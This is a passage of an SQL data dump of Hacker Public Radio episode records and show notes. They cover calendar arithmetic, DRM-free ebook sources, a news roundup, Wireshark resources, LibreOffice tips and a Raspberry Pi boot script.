hand gets 1, 2, 3, 4 and 5.\r\n    *  Right hand picks up 6, 7 and 8 by mapping them to fingers 1,2,3.\r\n\r\n  - To count even higher, we could:\r\n      1) keep borrowing other people\'s hands, or\r\n      2) track the number of times we reuse our two hands as we go\r\n    \r\n    * First method mirrors calendar math (\"Annexing\" hands, or months)\r\n    * Second is positional notation (\"base 10\" and all that)\r\n\r\n\r\nBack to the Twelve Days\r\n - I have Twelve Days: 1, 2, ... 12 to assign to dates, even though I \r\n     may only be interested in the first and last dates right now.\r\n   * Start: How many can I fit into December?\r\n   * December 31st is last. It gets assigned 31 - 24, or 7. \r\n   * By \"finger math\", that means I have mapped 7 of the Twelve Days\r\n   * That leaves 12 - 7, or 5 days into January.\r\n \r\n - Who can tell me which days are assigned in January? Anyone?\r\n   * That\'s right, Ken.  January 1, 2, 3, 4 and 5.\r\n   * So the Twelve Days of Christmas runs 25 December to 5 January \r\n\r\n\r\nQuestion: What if there were 72 Days of Christmas?  When would it end?\r\n - Note: Don\'t worry.  This is purely hypothetical.\r\n\r\n - Let\'s attack this with finger math, with partitioning and annexing\r\n   * December, as we have seen, accounts for 7 days: 25 through 31\r\n   * That leaves 72 - 7, or 65 days\r\n   * January easily picks up 31 days: 1 to 31, leaving 65 - 31 = 34 days\r\n   * February can handle either 28 days, or 29 on a leap year.\r\n   * This leaves us either 5 or 6 days into March\r\n\r\n - Final Answer: 72 Days of Christmas would run from Christmas until the\r\n     following March 5 (leap year), or March 6 (all other years).\r\n   * On Day 73, everyone would enter treatment for Christmas overdose.\r\n\r\nLet\'s check the answer: Day 72 would end ten weeks and 2 days after \r\n   the opening cocktail party (Monday). So Day 72 should be Wednesday.\r\n   * Next year is not a leap year, so last day is March 6.\r\n   * By the Doomsday perpetual calendar method, Feb 28 is Thursday.\r\n   \r\n   Doomsday method: https://en.wikipedia.org/wiki/Doomsday_rule\r\n   \r\n   * So March 7 is Thursday, and March 6 is Wednesday.\r\n   * It worked.\r\n \r\nWhy should I bother with Calendar Math?\r\n - I learn to look for ways to partition hard problems into easier ones.\r\n - I learn the same skills that I\'ll need to debug \"off-by-one\" errors\r\n     and other boundary violations, which kill you in C programs.\r\n - I will never miss a speaking engagement, as long as I count my \r\n     Conference Days from the cocktail party, not from the Keynote.\r\n\r\n\r\nNext episode: Part One\r\n  Counting partridges and gold rings with Pascal\r\n  - Warning: There will be two semi-magic formulas at the end.\r\n  - I\'ll show you an easy way to do running sums in a spreadsheet.\r\n  - You can skip the formulas, and I\'ll never know.\r\n  - Since this is HPR, not school.  We can look up the formulas.\r\n\r\n\r\nContact: Charles in NJ\r\nEmail: catintp@yahoo.com\r\n\r\nCharlie + Alpha + Tango + India + November + Tango + Papa.\r\n\r\n</pre>\r\n',229,0,1,'CC-BY-SA','mathematics,\"calendar counting\"',0,1143,1),
(1144,'2012-12-20','Who Owns Your Files',1988,'Ahuka discusses the aftermath of the wiping a Norwegian user\'s Kindle by Amazon','<h2>Indie and Creative Commons</h2>\r\n<ul>\r\n	<li><a title=\"Soundcloud\" href=\"https://soundcloud.com/\" target=\"_blank\">Soundcloud</a> - This is a music and audio sharing site, primarily.</li>\r\n	<li><a title=\"Free Music Archive\" href=\"https://freemusicarchive.org/\" target=\"_blank\">Free Music Archive</a> - Lots of CC-licensed music.</li>\r\n	<li><a title=\"Jamendo\" href=\"https://www.jamendo.com/en/\" target=\"_blank\">Jamendo</a> - One of the premiere CC music sites.</li>\r\n	<li><a title=\"Bandcamp\" href=\"https://bandcamp.com/\" target=\"_blank\">Bandcamp</a> - I just learned about this site from my friend Craig Maloney, who does the <a title=\"Open Metal Cast\" href=\"https://openmetalcast.com/\" target=\"_blank\">Open Metal Cast</a>. This site has Creative Commons music from bands who want to build a relationship with their fans and sell them music. Good artists like Amanda Palmer are here.</li>\r\n</ul>\r\n<h2>e-Books</h2>\r\nWhen it comes to books, you really are at the mercy of the individual publishers. Most music labels have finally come to accept that no DRM is the best way to go, but must book publishers are still being dragged into the 21st century kicking and screaming. But there are some good places to find e-books that respect your freedom.\r\n<ul>\r\n	<li><a title=\"Project Gutenberg\" href=\"https://www.gutenberg.org/wiki/Main_Page\" target=\"_blank\">Project Gutenberg</a> - This is the granddaddy of the DRM free book sites. Project Gutenberg makes available books that are in the Public Domain, i.e., where the copyright has run out. These are mainly older books, but a lot of classics are in here. They make books available in all of the major formats.</li>\r\n	<li><a title=\"Baen Books\" href=\"https://www.baen.com/\" target=\"_blank\">Baen Books</a> - This publisher specializes in the harder Science Fiction, but they really understand the new media landscape. They not only offer most of their books DRM-free and in multiple formats, but they also have the Baen Free Library, where they offer selected books free of charge. The hope is that with the first taste free, you will want to buy more. And it works. I went there to see what they had, discovered that they had the entire collected works of one of my favorite authors (James H. Schmitz) for sale, and bought the lot of them.</li>\r\n	<li><a title=\"Tor/Forge books\" href=\"https://www.tor.com/blogs/2012/07/torforge-e-books-are-now-drm-free\" target=\"_blank\">Tor/Forge</a> - A major publisher in the Science Fiction and Fantasy fields, they just moved to going DRM free a few months ago. They did this because other publishers had been successful in so doing.</li>\r\n	<li><a title=\"Angry Robot\" href=\"https://angryrobotbooks.com/\" target=\"_blank\">Angry Robot</a> - Along with Baen, a pioneer in selling DRM-free books in the Science Fiction and Fantasy fields.</li>\r\n	<li><a title=\"Avon Romance\" href=\"https://www.avonromance.com/\" target=\"_blank\">Avon Romance</a> - A major publisher of romance novels, they just announced that they are experimenting with DRM-free ebook sales.</li>\r\n	<li><a title=\"O\'Reilly Media\" href=\"https://oreilly.com\" target=\"_blank\">O\'Reilly Media</a> - The premiere publisher of technical books, they pretty get everything right. They sell e-books without DRM. When a new edition of a book you already bought comes out you can \"upgrade\" for a nominal fee (e.g. I upgraded my Kevin Purdy \"Android\" book for $1). And with older books that they think are no longer worth in print, they are removing the copyright and <a title=\"O\'Reilly Open Books\" href=\"https://oreilly.com/openbook/\" target=\"_blank\">making them freely available</a>.</li>\r\n	<li><a title=\"ManyBooks.net\" href=\"https://manybooks.net/\" target=\"_blank\">ManyBooks.net</a> - This site has a lot of overlap with Project Gutenberg, but also has some newer works that have been made available, such as Charles Stross\'s <em>Accelerando</em>.</li>\r\n	<li><a title=\"Fictionwise\" href=\"https://www.fictionwise.com/ebooks/multiformat.htm\" target=\"_blank\">Fictionwise</a> - Although heavy on the Science Fiction and Fantasy, has a lot of offerings in other genres as well. Reasonably priced and DRM-free.</li>\r\n	<li><a title=\"Cory Doctorow\" href=\"https://craphound.com/?cat=5\" target=\"_blank\">Cory Doctorow</a> - Cory was one of the first authors to make a point of offering all of his works not only DRM-free but free of charge in e-book formats from his Web site. But you know, when the book he co-authored with Charles Stross <em>Rapture of the Nerds</em> came out recently I went to the Google Play store and bought it.</li>\r\n	<li><a title=\"DriveThru Fiction\" href=\"https://www.drivethrufiction.com/\" target=\"_blank\">DriveThru Fiction</a> - An interesting site that also has Comics and RPG games available.</li>\r\n	<li><a title=\"Apress\" href=\"https://www.apress.com/\" target=\"_blank\">Apress</a> - A publisher of technical books that also offers reduced-price e-books if you have already purchased the print title. This is something I\'d like to see more of.</li>\r\n	<li><a title=\"Packt Publishing\" href=\"https://www.packtpub.com/\" target=\"_blank\">Packt Publishing</a> - Another technical book publisher with DRM-free books.</li>\r\n</ul>\r\n<h2>Audiobooks</h2>\r\nThis is where there is still a big disappointment. Audible, which is by any measure the clear leader here, insists on DRM on all of their books, which is why I refuse to get an account. Audible is now owned by Amazon, which sells music tracks as MP3 files without DRM, so there was hope when they bought Audible that we could get DRM-free audiobooks, but that was not the case. Fortunately, there are alternatives.\r\n<ul>\r\n	<li><a title=\"eMusic\" href=\"https://www.emusic.com\" target=\"_blank\">eMusic</a> - This is the same site I mentioned above for DRM-free music tracks. They also offer a subscription plan for audiobooks, $10 a month gets you one book. Selection is not as good as Audible, but their list is growing all of the time and I have had no trouble finding books there that interest me. I recently listened to Walter Isaacson\'s biography of Albert Einstein through a book I bought here.</li>\r\n	<li><a title=\"Podiobooks\" href=\"https://podiobooks.com/\" target=\"_blank\">Podiobooks</a> - This site offers audiobooks in serialized form, much like podcasts offer you a file every week. Heavy on the Science Fiction and Fantasy at this point, but worth checking out. Scott Sigler and J.C. Hutchins are both available here, for instance.</li>\r\n	<li><a title=\"Scott Sigler\" href=\"https://scottsigler.com/\" target=\"_blank\">Scott Sigler</a> - Scott used free content to get his name out, but still offers free audio versions on his web site even though he now has a publisher.</li>\r\n	<li><a title=\"Cory Doctorow\" href=\"https://craphound.com/walh/audiobook/download-audiobook\" target=\"_blank\">Cory Doctorow</a> - Cory in addition to offering free ebooks also offers audiobooks that are DRM-free on a \"name your own price\" basis. Among the readers on his books are Neil Gaiman, Wil Wheaton, Spider Robinson, and Leo Laporte. He even sells files and CDs in Ogg format if you prefer to get your files that way. Due seriously gets freedom, but if you know anything about Cory Doctorow you know that.</li>\r\n</ul>\r\n<br/>\r\n<p>My web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>.</p>\r\n<br/>\r\n<p>Remember to support free software!</p>\r\n',198,0,1,'CC-BY-SA','DRM,\"digital rights management\"',0,2353,1),
(1145,'2012-12-21','TGTM Newscast for 12/20/2012',1479,'A newscast from Talk Geek to Me','<p>Here is a news review:</p>\r\n<ul>\r\n<li><a href=\"https://www.havanatimes.org/?p=83616\">Chavez’s Farewell? </a>\r\n</li>\r\n<li><a href=\"https://www.democracynow.org/2012/12/14/headlines#12142\">CIA\r\nTorture, Rendition Victim Wins Landmark European Court Case </a>\r\n</li>\r\n<li><a\r\nhref=\"https://inthesetimes.com/article/14281/right_to_work_in_michigan_is_about_politics_not_economics/\">Right-to-Work\r\nin Michigan Is About Politics, Not Economics</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.allgov.com/news/top-stories/hsbc-hit-with-fine-for-helping-drug-cartels-and-dictators-executives-too-big-to-jail?news=846473\">HSBC\r\nHit with Fine for Helping Drug Cartels and Dictators; Executives Too\r\nBig to Jail</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2012/12/calling-congress-time-fix-copyright\">Calling\r\non Congress: Time to Fix Copyright</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20121214/05385721386/itu-boss-denial-claims-success-misrepresents-final-treaty-as-us-uk-canada-many-more-refuse-to-sign.shtml\">ITU\r\nBoss In Denial: Claims Success, Misrepresents Final Treaty, As US, UK,\r\nCanada And Many More Refuse To Sign</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20121212/14130321366/sonys-new-german-ebookstore-features-thousands-drm-free-books.shtml\">Sony\'s\r\nNew German Ebookstore Features Thousands Of DRM-Free Books</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/six-strikes-scheme-may-lead-to-lawsuits-against-pirates-121212/\">“Six\r\nStrikes” Scheme May Lead to Lawsuits Against Pirates</a>\r\n</li>\r\n<li><a\r\nhref=\"https://perspectives.mvdirona.com/2012/12/11/MicroserverMarketHeatsUpIntelAtomS1200CentertonAnnouncement.aspx\">Microserver\r\nMarket Heats up: Intel Atom S1200 (Centerton) Announcement</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/verizon-determined-to-expose-bittorrent-copyright-trolls-121211/\">Verizon\r\nDetermined to Expose BitTorrent Copyright Trolls</a>\r\n</li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20121213/04341921372/julian-assange-moves-forward-plans-to-run-senate-start-wikileaks-political-party.shtml\">Julian\r\nAssange Moves Forward Plans To Run For Senate And Start A Wikileaks\r\nPolitical Party</a>\r\n</li>\r\n<li><a\r\nhref=\"https://peoplesworld.org/afl-cio-calls-for-universal-voter-registration/\">AFL-CIO\r\ncalls for universal voter registration</a>\r\n</li>\r\n<li><a href=\"https://venezuelanalysis.com/blog/ewan/7553\">Economic BS\r\nin Rich Countries is Reinforced by BS about Venezuela</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/swedish-pirate-party-defends-role-as-pirate-bay-isp-121213/\">Swedish\r\nPirate Party Defends Role As Pirate Bay ISP</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/pirate-bay-founder-released-from-solitary-confinement-121209/\">Pirate\r\nBay Founder Released From Solitary Confinement</a>\r\n</li>\r\n</ul>\r\n<p>Production and Editorial Selection by DeepGeek, views of the story\r\nauthors reflect their own opinions and not neccesarily those of TGTM\r\nnews.\r\n</p>\r\n<p>News from \"techdirt.com,\" \"havanatimes.org,\"\r\n\"perspectives.mvdirona.com,\" \"inthesetimes.com,\"\r\nand\r\n\"allgov.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"torrentfreak.com,\" and \"eff.org\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n<p>News from \"democracynow.org\" used under permission of the Creative\r\nCommons\r\nby-attribution non-commercial no-derivatives license.<br />\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n<h2>Links</h2><ul>\r\n<li><a href=\"https://www.havanatimes.org/?p=83616\">https://www.havanatimes.org/?p=83616</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/12/14/headlines#12142\">https://www.democracynow.org/2012/12/14/headlines#12142</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/14281/right_to_work_in_michigan_is_about_politics_not_economics/\">https://inthesetimes.com/article/14281/right_to_work_in_michigan_is_about_politics_not_economics/</a></li>\r\n<li><a href=\"https://www.allgov.com/news/top-stories/hsbc-hit-with-fine-for-helping-drug-cartels-and-dictators-executives-too-big-to-jail?news=846473\">https://www.allgov.com/news/top-stories/hsbc-hit-with-fine-for-helping-drug-cartels-and-dictators-executives-too-big-to-jail?news=846473</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/12/calling-congress-time-fix-copyright\">https://www.eff.org/deeplinks/2012/12/calling-congress-time-fix-copyright</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20121214/05385721386/itu-boss-denial-claims-success-misrepresents-final-treaty-as-us-uk-canada-many-more-refuse-to-sign.shtml\">https://www.techdirt.com/articles/20121214/05385721386/itu-boss-denial-claims-success-misrepresents-final-treaty-as-us-uk-canada-many-more-refuse-to-sign.shtml</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20121212/14130321366/sonys-new-german-ebookstore-features-thousands-drm-free-books.shtml\">https://www.techdirt.com/articles/20121212/14130321366/sonys-new-german-ebookstore-features-thousands-drm-free-books.shtml</a></li>\r\n<li><a href=\"https://torrentfreak.com/six-strikes-scheme-may-lead-to-lawsuits-against-pirates-121212/\">https://torrentfreak.com/six-strikes-scheme-may-lead-to-lawsuits-against-pirates-121212/</a></li>\r\n<li><a href=\"https://perspectives.mvdirona.com/2012/12/11/MicroserverMarketHeatsUpIntelAtomS1200CentertonAnnouncement.aspx\">https://perspectives.mvdirona.com/2012/12/11/MicroserverMarketHeatsUpIntelAtomS1200CentertonAnnouncement.aspx</a></li>\r\n<li><a href=\"https://torrentfreak.com/verizon-determined-to-expose-bittorrent-copyright-trolls-121211/\">https://torrentfreak.com/verizon-determined-to-expose-bittorrent-copyright-trolls-121211/</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20121213/04341921372/julian-assange-moves-forward-plans-to-run-senate-start-wikileaks-political-party.shtml\">https://www.techdirt.com/articles/20121213/04341921372/julian-assange-moves-forward-plans-to-run-senate-start-wikileaks-political-party.shtml</a></li>\r\n<li><a href=\"https://peoplesworld.org/afl-cio-calls-for-universal-voter-registration/\">https://peoplesworld.org/afl-cio-calls-for-universal-voter-registration/</a></li>\r\n<li><a href=\"https://venezuelanalysis.com/blog/ewan/7553\">https://venezuelanalysis.com/blog/ewan/7553</a></li>\r\n<li><a href=\"https://torrentfreak.com/swedish-pirate-party-defends-role-as-pirate-bay-isp-121213/\">https://torrentfreak.com/swedish-pirate-party-defends-role-as-pirate-bay-isp-121213/</a></li>\r\n<li><a href=\"https://torrentfreak.com/pirate-bay-founder-released-from-solitary-confinement-121209/\">https://torrentfreak.com/pirate-bay-founder-released-from-solitary-confinement-121209/</a></li>\r\n</ul>\r\n',237,65,1,'CC-BY-SA','newscast,TGTM',0,2072,1),
(1146,'2012-12-24','Wireshark-1',1059,'An introduction to Wireshark','<h2>Wireshark Tutorials</h2>\r\n<p>The introduction to wireshark is to introduce protocols, and lead people to the existing material and ask for more detailed desires.\r\n</p>\r\n<p>Protocols 101  Wikipedia thinks it is long but not as\r\nlong as college courses but it covers the basic level stuff\r\nbut the article should open the rabbit hole a bit.\r\n<a href=\"https://en.wikipedia.org/wiki/Communications_protocol\">https://en.wikipedia.org/wiki/Communications_protocol</a>\r\n</p>\r\n<p>A great Compendium of Protocols is here and very\r\nuseful in under standing what wireshark shows you\r\n<a href=\"https://www.protocols.com/\">https://www.protocols.com/</a>\r\n</p>\r\n<p>To download for Windows or MAC use\r\n<a href=\"https://www.wireshark.org/download.html\">https://www.wireshark.org/download.html</a>\r\nFor Linux use a trusted Repository\r\n</p>\r\n<p>Documents and training videos\r\n<a href=\"https://www.wireshark.org/docs/\">https://www.wireshark.org/docs/</a>\r\n</p>\r\n<p>The Wireshark Users Guide\r\n<a href=\"https://www.wireshark.org/docs/wsug_html_chunked/\">https://www.wireshark.org/docs/wsug_html_chunked/</a>\r\n</p>\r\n<p>Contact NewAgeTechnoHippie at gmail for question or comments</p>\r\n',177,0,1,'CC-BY-SA','\"communication protocol\",tcpip,udp,wireshark',0,2101,1),
(1147,'2012-12-25','Eulogy for the Netbook',360,'Memories of the ASUS Eee PC 701 superseded by the rise of the tablet','<p>\r\nIn this episode I talk about my first netbook and the sadness that comes from knowing the tablet has replaced it.\r\n</p>\r\n<p>\r\nNo music for this somber affair.\r\nContact me at aukondk.com\r\n</p>',191,0,1,'CC-BY-SA','netbook,\"Dell Mini 9\",\"Dell Mini 10\",tablet',0,2119,1),
(1148,'2012-12-26','Development Discussion',4044,'A discussion about the internals of the HPR scheduling system','<P>\r\nI am trying to write a script which will implement the scheduling rules for\r\nHPR. I spoke to Ken Fallon about this, and where it would fit in the overall\r\ndesign of the HPR system, when we met up at <I>OggCamp 2012</I> in August, but we\r\ndidn\'t manage to resolve very much. So, recently Ken and I began a discussion\r\nover Mumble to try and make progress. A few minutes in we decided to record\r\nour discussion for posterity, and this is the result.\r\n</P>\r\n<P>\r\nThe notes which I had sent Ken before our Mumble session are available in PDF\r\nformat.\r\n</P>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1148_Design_Notes_20121108.html\">https://hackerpublicradio.org/eps/hpr1148_Design_Notes_20121108.html</a><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1148_Design_Notes_20121108.pdf\">https://hackerpublicradio.org/eps/hpr1148_Design_Notes_20121108.pdf</a>\r\n</p>',225,0,1,'CC-BY-SA','scheduling,queueing,scripting',0,1970,1),
(1149,'2012-12-27','LibreOffice 02 Writer Default Template',1038,'The default template in LibreOffice Writer','<p>Some useful sites</p>\r\n<ul>\r\n<li><a href=\"https://www.libreoffice.org/get-help/documentation/\" target=\"_blank\">https://www.libreoffice.org/get-help/documentation/</a></li>\r\n<li>https://wiki.documentfoundation.org/Documentation/Publications</li>\r\n<li>https://gofree.com/Tutorials/</li>\r\n<li>https://en.libreofficeforum.org/</li>\r\n</ul>\r\n<p>My web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>.</p>\r\n<p>Remember to support free software!</p>\r\n',198,70,1,'CC-BY-SA','LibreOffice, Writer',0,2133,1),
(1150,'2012-12-28','Hacking Karma And Reincarnation With The Forgiveness Discipline',2331,'DeepGeek shares his first speech concerned with Mysticism','<pre>\r\nI recently ran an educational event for a society concerned with Mysticism \r\nand as such, gave the first speech. I recorded it \"on the fly,\" so there \r\nare problems with the recording, and I had to cut a few comments that \r\nwere too soft to be picked up at all by my head-mounted microphone. \r\n\r\nWhat follows is the script I wrote for the first three-quarters of the \r\npresentation.\r\n\r\n==================================================================\r\n\r\nThe first thing to understand is that we are not really discussing the \r\ntraditional idea of forgiveness.  We are talking about a whole new \r\nballgame. This really is not your parents idea of forgiveness.  Let\'s \r\nhave an example of old-school forgiveness.\r\n\r\n\"Well, you really did it. This is a real, and a really bad, situation, \r\nand it happens to be your fault. But I\'m going to forgive you for what \r\nyou did. You don\'t deserve this, but I\'m just so much more perfect than you, \r\nI\'m going to do this anyway. Because I have Jesus. By the way, you don\'t.\r\nAnd you will always be screwing up. You could stop screwing up, but \r\nyou wont. Because your not as great a person as I am. You could begin \r\nto agree with me about everything, but you won\'t. You could even \r\nbelieve every last thing I believe. But you won\'t. So, unlike me, \r\nthere is no hope of you going to heaven. I will, but you wont. And \r\nI might not look sad about this, but I really do feel sorry for you.\"\r\n\r\n</pre>\r\n\r\n<p>\r\nFor the remainder of the presentation please see <a href=\"https://hackerpublicradio.org/eps/hpr1150.txt\">https://hackerpublicradio.org/eps/hpr1150.txt</a>\r\n</p>',73,0,1,'CC-BY-SA','mysticism',0,2149,1),
(1564,'2014-07-31','An Open Source News Break from Opensource.com',312,'demand for Linux professionals, open access science journal, search for a malaria cure','<p>\r\nIn this episode: The growing demand for Linux professionals, a new open access science journal, and the open sourced search for a malaria cure.\r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://opensource.com/business/14/6/linux-professionals-jobs\">https://opensource.com/business/14/6/linux-professionals-jobs</a>\r\n</li>\r\n<li><a href=\"https://opensource.com/life/14/5/leader-open-access-among-scientific-journals\">https://opensource.com/life/14/5/leader-open-access-among-scientific-journals</a>\r\n</li>\r\n<li><a href=\"https://opensource.com/life/14/6/international-team-open-sources-search-malaria-cure\">https://opensource.com/life/14/6/international-team-open-sources-search-malaria-cure</a>\r\n</li>\r\n</ul>',280,28,0,'CC-BY-SA','systems administrator,F1000Research,Open Source Malaria',0,0,1),
(1574,'2014-08-14','Arts and Bots',616,'robots and programming in liberal arts classes','<p>Klaatu interviews a teacher about the use of robots and programming\r\n  in liberal arts classes. Big crowds at this Carnegie Melon event,\r\n  so the sound quality is not great.</p>\r\n\r\n<p>Links</p>\r\n<a href=\"https://www.cmucreatelab.org/\">CMU CREATE Lab</a>',78,0,0,'CC-BY-SA','robot,Hummingbird Robotics Kit',0,0,1),
(1579,'2014-08-21','Crowd Sourced Air Quality Monitoring',470,'Klaatu interviews a programmer about new crowd-sourced air quality detection systems','<p>Klaatu interviews a programmer about new crowd-sourced air quality detection systems. Big crowds at this Carnegie Melon event,\r\n  so the sound quality is not great.</p>\r\n\r\n<p>Links</p>\r\n<a href=\"https://www.cmucreatelab.org/\">CMU CREATE Lab</a>\r\n',78,0,0,'CC-BY-SA','air quality,Speck Sensor',0,0,1),
(1635,'2014-11-07','41 - LibreOffice Calc - Data Manipulation 1: Sorting and AutoFilter',762,'A look at the most simple ways of manipulating data in Calc.','<p>The next major area of investigation for this series is how we can do data manipulation in Calc. Although Calc is not a database, it can be used for some data analysis and manipulation. When I worked for the finance department of a hospital, it was very common for the financial analysts to get a data dump from a centralized system as a CSV file, load it up in a spreadsheet, and then slice-and-dice the data to get the answers they wanted. It is not anywhere near what you can do with a good relational database and a structured query, but you can do some quick-and-dirty analysis here. - For more go to <a href=\"https://www.ahuka.com/?page_id=879\">https://www.ahuka.com/?page_id=879</a></p>\n <ul>\n  <li><a href=\"https://biostat.mc.vanderbilt.edu/wiki/Main/DataSets?CGISESSID=10713f6d891653ddcbb7ddbdd9cffb79\">https://biostat.mc.vanderbilt.edu/wiki/Main/DataSets?CGISESSID=10713f6d891653ddcbb7ddbdd9cffb79</a></li>\n  <li><a href=\"https://www.ahuka.com/wp-content/uploads/2014/06/data.ods\">https://www.ahuka.com/wp-content/uploads/2014/06/data.ods</a></li>\n  <li><a href=\"https://www.ahuka.com/?page_id=879\">https://www.ahuka.com/?page_id=879</a></li>\n </ul>',198,70,0,'CC-BY-SA','LibreOffice, Calc, Spreadsheet, sorting, autofilter',0,0,1),
(1645,'2014-11-21','42 - LibreOffice Calc - Data Manipulation 2: Standard and Advanced Filters',989,'A look at the more advanced filtering options for manipulating data in Calc.','<p>\r\nYou can set a Standard Filter from within the AutoFilter drop-down, or you can go there through the Data menu by selecting Data&gt;Filter&gt;Standard Filter.  Now lets look at the question we ended the last tutorial with: How many females over the age 40 had a case in 1978. We saw we could get this by manually putting checkmarks in every age that was greater than 40 using AutoFilter, but how do we do this using Standard Filter? - For more go to <a href=\"https://www.ahuka.com/?page_id=897\">https://www.ahuka.com/?page_id=897</a>\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://help.libreoffice.org/Common/List_of_Regular_Expressions\">https://help.libreoffice.org/Common/List_of_Regular_Expressions</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?attachment_id=909\">https://www.ahuka.com/?attachment_id=909</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?page_id=897\">https://www.ahuka.com/?page_id=897</a>\r\n<p></p>\r\n</li>\r\n</ul>',198,70,0,'CC-BY-SA','LibreOffice, Calc, Spreadsheet, filters',0,0,1),
(1559,'2014-07-24','We don\'t always need new gear.',1540,'Knightwise gives some budget saving tips on why you don\'t always need to get new gear.','Knightwise gives some budget saving tips on why you don\'t always need to get new gear.',111,0,0,'CC-BY-SA','budget saving',0,1249,1),
(1567,'2014-08-05','Multiboot Partitioning with Linux',1020,'In this episode I discuss the way I set up partitions on my laptop for multibooting.','<p>I like to distro-hop some and try out new things. Sometimes, I want to have 2 or more Linux distros on my system at the same time so I can compare and contrast them. Initially I used a separate /home and mounted it to each distro on my system. This led to config file corruption and I needed a new approach. I hope this will help somebody! Thanks. ~Matt aka @sahg33kdad <a href=\"https://g33kdad.thestrangeland.net\">https://g33kdad.thestrangeland.net</a></p>\n <h3>Links:</h3>\n <p>Original guest blog post on knightwise.com which inspired this episode: <a href=\"https://knightwise.com/the-perfect-partition-setup-for-a-multibooting-system/\">https://knightwise.com/the-perfect-partition-setup-for-a-multibooting-system/</a></p>\n <p>Image of filesystem tree: <a href=\"https://thestrangeland.net/images/directory_list.png\">https://thestrangeland.net/images/directory_list.png</a></p>',255,0,1,'CC-BY-SA','partitioning, Linux, multiboot, sysadmin',0,0,1),
(1562,'2014-07-29','Android For The cli/c Junkie',440,'This episode should be your companion while installing the android SDK/NDK and creating C-bases apps','<p>\r\nThese are the places your sdk/ndk/ant goes:\r\n</p>\r\n<pre>\r\n/usr/local/share/android-ndk-r9d\r\n/usr/local/share/android-sdk-linux\r\n/usr/local/share/ant\r\n</pre>\r\n<p>\r\nThis is an archive of /usr/local/share/android-sdk-linux/bin, which is the directory you create.<br />\r\n<a href=\"https://theadesilva.com/hpr_bin.tar.gz\">https://theadesilva.com/hpr_bin.tar.gz</a>\r\n</p>\r\n<p>\r\nThis is what /etc/profile.d/android.sh looks like:\r\n</p>\r\n<pre>\r\nexport ANT_HOME=/usr/local/share/ant\r\nexport JAVA_HOME=/usr/\r\nexport PATH=$PATH:/usr/local/share/android-sdk-linux/bin:$ANT_HOME/bin\r\n</pre>\r\n<p>\r\nhere\'s the example app:<br />\r\n<a href=\"https://theadesilva.com/pants.tar.gz\">https://theadesilva.com/pants.tar.gz</a><br />\r\nuncompress it and type \"make\", that produces app.apk to run on your device.\r\n</p>\r\n\r\n',115,0,0,'CC-BY-SA','android,application,native development kit,ndk',0,0,1),
(1563,'2014-07-30','Starting Programs at boot on the Raspberry Pi',943,'How I start programs at boot on my Raspberry Pi ','<p>How I start programs at boot on my Raspberry Pi. Below is a copy of the /etc/rc.local file I use on my raspberry pi.</p><pre>\n#!/bin/sh -e\n#\n# rc.local\n#\n# This script is executed at the end of each multiuser runlevel.\n# Make sure that the script will \"exit 0\" on success or any other\n# value on error.\n#\n# In order to enable or disable this script just change the execution\n# bits.\n#\n# By default this script does nothing.\n\n# Print the IP address\n_IP=$(hostname -I) || true\nif [ \"$_IP\" ]; then\n  printf \"My IP address is %s\\n\" \"$_IP\"\nfi\n\n################## Added by MrX 28/12/12, ############################################################\n#  V1, 21/03/14, titied up script, added explination, run didiwiki and got detached screen working at boot\n\n# items are run in a subshell enclosing command in ( and )\n# the commands are terminted with a &amp; to run as background task\n# by default programs are run as root if this is not required \"su\" is used to switch user to pi\n# becuse each program is run as a subsheel they all run in parallel this is why the sleep\n# command is needed, each sleep command must be longer than the sum of the sleeps before\n# which ensures the commands are run in sequence and not together\n# exit 0 was from the original file to ensure the file exited with status 0\n# if the script doesn\'t exit with status 0 then the pi will not fully boot\n\n\n# At boot fources audio aoutput to headphones socket (Analogue output)\n# from magpie magazine pdf, issue 3 page 4\n(sleep 1; /usr/bin/amixer cset numid=3 1) &amp;\n\n\n# At boot run the command didiwiki as user pi, listening on IP 192.168.1.13 port 8000\n(sleep 3; su pi -c \"/usr/bin/didiwiki -l 192.168.1.13 -p 8000\") &amp;\n\n\n# run a detached screen session at boot\n(sleep 6; su pi -c \"cd /home/pi ; /usr/bin/screen -dmS pi-debian -c /home/pi/.screenrc.multiwin\") &amp;\n\nexit 0\n</pre>',201,0,0,'CC-BY-SA','raspberry pi,rc.local,bootstrap',0,0,1),
